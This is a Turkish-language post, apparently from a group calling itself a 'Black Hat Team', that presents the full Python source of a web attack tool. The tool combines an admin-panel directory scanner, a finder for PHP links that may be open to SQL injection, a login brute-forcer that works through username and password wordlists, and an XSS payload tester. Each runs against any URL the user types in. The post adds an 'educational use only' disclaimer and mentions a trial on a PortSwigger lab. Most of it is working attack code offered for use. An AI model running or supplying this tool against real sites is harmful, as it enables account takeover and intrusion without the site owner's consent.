Admin Panel Finder
Program içerisinde bulunan admin panel finder ile penetrasyon testi yapacağınız sitedeki admin paneli veya sizin verdiğiniz wordlist içerisindeki dizinleri tarar ve sonuçları size getirir.
![](https://i.hizliresim.com/1940ahv.jpg)
![](https://i.hizliresim.com/1940ahv.jpg)
SQL Inejction Finder
Login BruteForce
Sitenin login sayfasının URL adresini girin ve gerekli paremetreleri sağladıktan sonra seçtiğiniz username ve pasword wordlistleri ile bruteforce saldırısı yapar.
![](https://i.hizliresim.com/8uc2jqm.jpg)
![](https://i.hizliresim.com/8uc2jqm.jpg)
XSS
Verdiğiniz url içerisindeki sorgu kısmına XSS payloadları uygular ve başarılı ise geri dönüş yapar.
![](https://i.hizliresim.com/tejhptf.jpg)
![](https://i.hizliresim.com/tejhptf.jpg)
Portswigger Lab Denemesi
Portswigger üzerinde bir XSS labında yaptığım deneme.
![](https://i.hizliresim.com/gvegtlm.jpg)
Teşekkürler:
-Black Hat Team-
Bu tool tarafımca geliştirilmeye devam edilecektir.
![](https://i.hizliresim.com/gvegtlm.jpg)
Teşekkürler:
-Black Hat Team-
Bu tool tarafımca geliştirilmeye devam edilecektir.
Kaynak Kodları:
Python:
from colorama import Fore, init
import requests
import time
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import re
from art import *
init(autoreset=True)
def xss(url, xssPayloadFile):
try:
with open(xssPayloadFile, 'r', encoding="utf-8") as file:
payloads = file.readlines()
except FileNotFoundError:
print("Payload dosyası bulunamadı.")
return
try:
for payload in payloads:
payload = payload.strip()
url_with_payload = url + payload
response = requests.get(url_with_payload)
response.raise_for_status()
soup = BeautifulSoup(response.content, 'html.parser')
if payload in soup.get_text():
print(Fore.GREEN +"[+] Payload tespit edildi:", payload)
else:
print(Fore.RED +"[-] Payload tespit edilemedi:", payload)
except requests.exceptions.RequestException as e:
print(Fore.RED +"[!]Hata:", e)
input("çıkış yapmak için 'q' tuşuna basınız")
def bruteForce(url, error_message,username_file, password_file, param1, param2):
try:
with open(username_file, 'r') as user_file:
usernames = user_file.readlines()
with open(password_file, 'r') as pass_file:
passwords = pass_file.readlines()
except FileNotFoundError:
print("Dosya bulunamadı.")
return
for username in usernames:
username = username.strip()
for password in passwords:
password = password.strip()
data = {param1: username, param2: password}
response = requests.post(url, data=data)
soup = BeautifulSoup(response.content, 'html.parser')
error_tag = soup.find(string=re.compile(error_message))
if not error_tag:
print(Fore.GREEN + f"'{username,password}' parametresi için başarılı istek yapıldı.")
else:
print(Fore.RED + f"'{username,password}' parametresi için istek başarısız oldu.")
input("Çıkmak için bir tuşa basınız...")
def sqlBul(url):
response = requests.get(url)
html_content = response.text
soup = BeautifulSoup(html_content, 'html.parser')
php_urls = re.findall(r'href=[\'"]?([^\'" >]+)', html_content)
php_urls = [link for link in php_urls if ".php?" in link]
for php_url in php_urls:
print(Fore.GREEN+"[+] Bulunan Siteler" ,"=>", php_url)
input("Çıkmak için bir tuşa basınız...")
def dizini_bul(url, hedef_dizinler, set_sleep):
bulunan_dizinler = set()
try:
for dizin in hedef_dizinler:
hedef = url + "/" + dizin
response = requests.get(hedef)
time.sleep(float(set_sleep))
if response.status_code == 200 and hedef not in bulunan_dizinler:
print(Fore.GREEN + "[+] Dizin bulundu =", hedef)
bulunan_dizinler.add(hedef)
elif response.status_code == 404 and hedef not in bulunan_dizinler:
print(Fore.RED + "[!] 404 Hatası =", hedef)
elif response.status_code == 302 and hedef not in bulunan_dizinler:
print(Fore.BLUE + "[!] 302 Object moved temporarily =", hedef)
elif response.status_code == 401 and hedef not in bulunan_dizinler:
print(Fore.YELLOW + "[!] 401 Unauthorized =", hedef)
except requests.exceptions as e:
print("[!] Hata:", e)
print("\nBulunan Dizinler Özeti:")
for dizin in bulunan_dizinler:
print("-", dizin)
print("Toplam", len(bulunan_dizinler), "dizin bulundu.")
input("Çıkmak için bir tuşa basınız...")
def konsol():
print("""
Seçenekler:
1- Admin Panel Finder
2- Possible SQL Injection Finder
3- BruteForce
4- XSS
""")
print("Seçeneklerden istediğinizi numarasını girerek seçiniz.")
choice = input("Seçim: ")
if choice == "1":
tprint("admin finder", font="chunky")
url = input(Fore.CYAN + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
dosya_yolu = input(Fore.CYAN +"Lütfen dizinleri içeren metin dosyasının yolunu girin: ")
set_sleep = input(Fore.CYAN +"Her istek arasında ne kadar beklemek istediğinizi belirtin: ")
try:
with open(dosya_yolu, 'r') as dosya:
hedef_dizinler = dosya.read().splitlines()
dizini_bul(url, hedef_dizinler, set_sleep)
except FileNotFoundError:
print(Fore.RED +"Belirtilen dosya bulunamadı.")
elif choice == "2":
tprint("Possible SQL \nInjection Finder", font="small" )
url = input(Fore.BLUE + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
sqlBul(url)
elif choice == "3":
tprint("BruteForce", font="speed" )
url = input("Lütfen URL'yi girin: ")
error_message = input("Lütfen hata mesajını girin (hata mesajı yoksa boş bırakın):")
param1 = input("Birinci parametreyi girin (ör. username): ")
param2 = input("İkinci parametreyi girin (ör. password): ")
username_file = input("Kullanıcı adlarının bulunduğu dosyanın adını girin: ")
password_file = input("Şifrelerin bulunduğu dosyanın adını girin: ")
bruteForce(url, error_message,username_file, password_file, param1, param2)
elif choice == "4":
tprint("XSS", font="chiseled")
url = input(Fore.YELLOW + "XSS payloadı denemek istediğiniz url adresini girin: ")
xssPayloadFile = input( Fore.YELLOW +"XSS Payloadlarınızın bulunduğu txt dosyasının yolu: ")
xss(url, xssPayloadFile)
def main():
tprint("gokboru", font="merlin1")
tprint("BlackHat", font="cybermedium")
print("meakay")
print("Bu aracın kullanımı eğitim amaçlıdır. Verilen zararlardan kişi kendisi sorumludur.")
sorumluluk = input("Yaptığım faaliyetlerden sorumlu olduğumu ve bu aracı yazan kişinin hiçbir sorumluluğu olmadığını kabul ediyorum. (E/H)")
if sorumluluk.lower() == "e":
konsol()
else:
print("Programdan çıkış yapılıyor...")
if __name__ == "__main__":
main()